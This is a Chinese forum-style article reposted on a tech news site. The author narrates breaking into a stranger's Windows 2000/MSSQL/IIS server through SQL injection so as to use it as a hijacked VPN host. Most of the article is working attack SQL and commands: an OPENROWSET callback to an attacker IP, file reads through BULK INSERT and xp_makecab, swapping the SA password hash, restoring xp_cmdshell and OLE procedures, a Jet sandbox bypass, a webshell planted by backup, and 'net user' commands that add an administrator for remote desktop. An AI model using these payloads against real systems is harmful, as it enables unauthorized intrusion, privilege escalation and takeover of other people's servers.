科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道挑战BT-Sa

挑战BT-Sa

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

由于工作原因,疏于管理肉鸡,用了许久的VPN肉鸡飞了……米办法,因为上一些国外站点需要用VPN,只能再去找几台做VPN用用了。于是找GOOGLE帮忙,搜了下。

作者:zdnet安全频道 来源:论坛整理 2008年9月19日

关键字: SA

  • 评论
  • 分享微博
  • 分享邮件

  By NetPatch

  由于工作原因,疏于管理肉鸡,用了许久的VPN肉鸡飞了……米办法,因为上一些国外站点需要用VPN,只能再去找几台做VPN用用了。于是找GOOGLE帮忙,搜了下。不一会就找到了个有注入且为SA权限的肉鸡,心想,今天运气不错嘛。一找就给我了个SA。可能有些朋友看到这边,或许该起哄了,都SA了,这还好意思写文章出来,这类文章多的跟米一样,不差我这篇吧。呵呵,如果是一般的情况,我也不会厚脸皮写出来了。请耐心继续往下看,从中你可以学到xp_makecab,xp_unpackcab, xp_regread, sp_configure等扩展存储的使用。

  OK,我先说下这台BT肉鸡的大概情况。

  2K+MSSQL2000+IIS

  对外开放80,1433,3389端口,且此服务器上只放该站一个站点,而且后台密码是写在ASP文件里的(前面猜表时并未找到后台相关的表,于是猜测对方是把密码写在ASP文件里了,进去后肯定了我的猜测)。

  网络上公认的危险存储扩展均被删除,且无法恢复。

  (后来确认是 odsole70.dll,xplog70.dll,xpstar.dll三个DLL被删除)

  这三个DLL的删除,意味着N多的存储扩展用不了了。也就意味着,虽然是SA权限,但你却不能执行命令,不能列目录,不能读改注册表,不能恢复被删除的存储扩展。

  OK,大体情况已经说了,难度系数是有D,看我是如何击破这坚固的堡垒的。

  虽然对方开放了1433端口,但是这并不代表着WEB和数据库就肯定是在一快的。曾经就碰过这类的机器,虽然开着MSSQL服务,但是却是给别的WEB机器提供的。节省资源,又相对安全。于是我先在本地用NC监听80端口(反连看IP,自己机器并不一定要有装MSSQL的),在注射点上注射如下语句:

  insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=111.111.111.111,80;', 'select * from dest_table') select * from src_table;--

  因为我们只要看IP,所以其他的参数就无所谓了。而端口设置成80,是为了预防一些机器只让访问外部80。

  没一会,就有机器连过来了,一看IP。嘿嘿,正是目标机器。如图1

  

  于是大胆进行下一步计划——获取WEBSHELL。

  要获取WEBSHELL,首先我们得需要路径,如何去获取路径呢?由于许多存储扩展已经不能使用,我们没办法执行命令,列目录,查看注册表等操作。于是,我脑袋里闪过的IDEA就是,读取MetaBase.bin文件!有经验的朋友都知道,此文件乃IIS 5.0的网站配置文档。可怎么读呢?

  drop table [nspcn]

  CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL)

  BULK INSERT [nspcn] FROM 'c:\boot.ini’ WITH (KEEPNULLS)

  insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1)

  select * from [nspcn]

  上面的代码利用BULK来读取boot.ini文件,本地测试成功读取。

  下图是本地测试的抓图 如图2

  

  于是转而读取MetaBase.bin文件,但是当时测试的时候失败了。读取的内容为空。

  下图是本地测试的抓图(由于虚拟机只有2K3有装MSSQL,我从2K上COPY了个MetaBase.bin) 如图3

  

  于是我又想到了xp_makecab,xp_unpackcab两个扩展存储,于是用了如下语句:

  exec master..xp_makecab ''C:\WINNT\Help\iisHelp\common\404b.cab ','mszip',1,''C:\WINNT\Help\iisHelp\common\404b.htm'

  --//备份404b.htm页面

  --//由于当时忘了xp_unpackcab有个参数可以解压重命名的,哎,真是大意啊。于是用了下面的烂招

  Exec master..xp_makecab ' C:\WINNT\Help\iisHelp\common\404b.htm ','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin'

  --//结果肯定失败了!

  没办法,只能另图他法了。得想办法恢复那些存储扩展才行。先用NC连了下对方的1433,根据反馈结果表示可以连上。如图4

  

  于是用如下语句加了个SYSADMIN权限的用户

  exec master.dbo.sp_addlogin nspcn,netpatch--

  exec master.dbo.sp_addsrvrolemember nspcn sysadmin--

  --//后来才发现我语句写错了,第二句漏了个逗号!

  --//正确的应该是exec master.dbo.sp_addsrvrolemember nspcn, sysadmin--

  用查询分析器连接上去,发现只是个PUBLIC权限,晕死我了。当时也晕忽忽的,不知道哪里错了。用NBSI也没加上。

  于是想到了一个疯狂的点子,修改SA密码。如何修改呢?如果我们直接用;exec master.dbo.sp_password null,nspcn,netpatch—修改,虽然有办法修改,但万一恢复不了扩展,我们又不知道原密码,没办法将密码修改回去。那么我们将完全暴露,得想个巧妙的方法才行。

  于是想到了,先复制SA的HASH到A用户,然后再把B用户的HASH复制给SA,当然我们知道这个B用户的密码。这样我们就可以用知道的密码连上去了,修改回去时也把A用户的HASH复制给SA就可以了。

  我们先设想下修改后的情况,如果密码修改成功,那么网站立即崩溃爆错。如果不在最短的时间内恢复,那么我的行动将会暴露。结合上面的“万一恢复不了扩展”我制定了如下计划,准备好恢复sp_addextendedproc存储扩展的SQL语句,以及此扩展恢复后需要恢复存储扩展以及要执行的命令,当然最后一条是把SA密码修改回去。相关SQL如下:

  Use master

  create procedure sp_addextendedproc --- 1996/08/30 20:13

  @functname nvarchar(517),/* (owner.)name of function to call */

  @dllname varchar(255)/* name of DLL containing function */

  as

  set implicit_transactions off

  if @@trancount >0

  begin

  raiserror(15002,-1,-1,'sp_addextendedproc')

  return (1)

  end

  dbcc addextendedproc( @functname, @dllname)

  return (0) -- sp_addextendedproc

  --以上是恢复sp_addextendedproc

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'

  EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'

  EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'

  EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'

  EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

  --以上语句是恢复各存储扩展

  exec master.dbo.xp_cmdshell 'net user nspcn netpatch /add&&net localgroup administrators nspcn /add’--

  DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user nspcn netpatch /add&&net localgroup administrators nspcn /add ','0','true'

  exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user nspcn netpatch /add&&net localgroup administrators nspcn /add ")')

  --为了预防万一,用了多个存储扩展执行添加nspcn用户的命令

  update sysxlogins set password=(select top 1 password from sysxlogins where name=’a’) where name=’sa’

  --重要语句,把SA密码修改回去

  但是,在默认情况下master.dbo.sysxlogins是不允许修改的。我们需要开启这个权限。

  执行exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE--后,我们成功开启了修改权限。于是建立了2个用户,密码均为netpatch

  先用update sysxlogins set password=(select top 1 password from sysxlogins where name=’sa’) where name=’a’

  把SA的HASH复制过去。

  然后再用update sysxlogins set password=(select top 1 password from sysxlogins where name=’b’) where name=’sa’

  把密码修改为netpatch

  修改后立即用查询分析器执行已经准备好的命令,但当命令执行完毕时,发现一个很严重的问题,就是odsole70.dll,xplog70.dll,xpstar.dll三个DLL已被删除,无法恢复我们需要的存储扩展了。如图5、如图6

  

  

  再次陷入困境。在百般无耐的情况下,只能用一个没办法的点子——猜WEB目录路径。

  用读文件的方法,尝试读取网站的主页。后面还是RP好,猜了4次后被我猜到了WEB目录。D:\网站名\index.asp

  当文件内容被读取出来时,那个兴奋啊,于是立即用差异备份,备份了一个WEBSHELL。如图7

  

  从WEBSHELL中找到了数据库连接文件,获得了SA的密码。

  然后再从WEBSHELL上传了一个自己的存储扩展,用海阳ASP木马的的数据库管理功能,连接数据库后,用如下语句添加了一个自己的存储扩展!

  use master

  exec sp_addextendedproc 'xp_nspcn', 'xp_nspcn.dll'

  grant exec

  on xp_npsed

  to public

  再用自己的存储扩展执行如下语句

  Exec master.dbo.xp_nspcn 'net user nspcn netpatch /add&&net localgroup administrators nspcn /add'

  再用添加的用户成功登陆了3389。如图8

  

  虽然进去了,但这是侥幸进去的,并不是完全靠实力进去的,心中有所不服。心想,要是现在不解决这个问题,以后碰到类似的,那不就更郁闷了。于是再次研究各个存储扩展的语法。研究后才发现了自己前面犯的三个严重错误,导致自己绕了一大圈才进去。

  第一。本可以利用xp_makecab、xp_unpackcab配合404页面,获取路径!

  下面是相关的SQL语句。

  Exec master..xp_makecab 'C:\WINNT\Help\iisHelp\common\404b.cab','mszip',1,' C:\WINNT\Help\iisHelp\common\404b.htm'

  --先备份404b.htm页面

  Exec master..xp_makecab 'C:\WINNT\Help\iisHelp\common\metabase.cab','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin'

  --备份metabase.bin文件到C:\WINNT\Help\iisHelp\common\目录

  exec master..xp_unpackcab 'C:\WINNT\Help\iisHelp\common\metabase.cab',' C:\WINNT\Help\iisHelp\common\',1,' 404b.htm'

  --将MetaBase.bin从C:\WINNT\Help\iisHelp\common\metabase.cab中解压出来,并重命名为404b.htm

  然后我们访问该站不存在的文件名,就可以利用404b文件帮我们列出文件内容了。

  第二。就是加SYSADMIN权限的SQL用户时漏了个逗号,导致添加帐号失败!

  第三。用了笨办法来修改SA密码!

  其实完全可以用exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE; update sysxlogins set xstatus=18 where name=’nspcn’--来提升SQL用户权限。

  虽然饶了个大圈子,但却长了不少经验……值!中间曲折的过程,让自己更加懂得如何应付相关的状况。嘿嘿,不知小弟写了那么多,您是否有什么新的收获呢?

    • 评论
    • 分享微博
    • 分享邮件
      邮件订阅

      如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

      重磅专题
      往期文章
      最新文章